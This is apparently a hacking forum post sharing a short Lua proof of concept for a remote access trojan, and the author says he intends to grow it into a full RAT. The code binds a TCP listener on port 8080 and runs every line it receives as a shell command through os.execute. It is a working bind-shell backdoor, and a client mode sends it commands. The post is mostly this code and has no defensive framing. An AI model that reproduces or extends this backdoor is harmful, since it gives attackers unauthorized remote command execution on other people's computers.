Lua TCP RAT PoC

I'll most probably be making a RAT from this PoC, but now it's late and my eyes are dieing.

Code:
-- Listen on TCP port 8080 --
-- Send data through the TCP protocol --
--
-- Execute received data as shell command --
-- Remote Lua execution code PoC by Noize --

-- Special thanks to JesseH
-- noize @ hackcommunity.com

socket = require("socket")

if (arg[1]=="--listen") then
	host = host or "127.0.0.1"
	port = port or 8080
	s = assert(socket.bind(host, port))
	i, p   = s:getsockname()
	assert(i, p)
	print("Listening...")
	data = assert(s:accept())
	print("Connection established, now sending received data to the shell...")
	cmd, endd = data:receive()
	while not endd do
		os.execute(cmd)
		cmd, endd = data:receive()
	end
	print(endd)
end

if (arg[1] ~= nil and arg[1]~="--listen") then
	s = socket.tcp()
	assert(s:connect("127.0.0.1", 8080), "Error! Connection failed!")
	s:settimeout(0)
	s:send(arg[1] .. "\r\n")
	s:close()
end

if arg[1] == nil then
	print("\nPoC usage:\n\n 1. Run \"thisScript.lua --listen\"\n 2. Run in another instance of the shell \"thisScript.lua HERE GOES YOUR SHELL COMMAND\".\n\nThe shell command will be sent through the TCP port 8080 to localhost, which will be listening on the same TCP port and which will execute the command you sent.")
end

As it worked I was surprised as fucck.
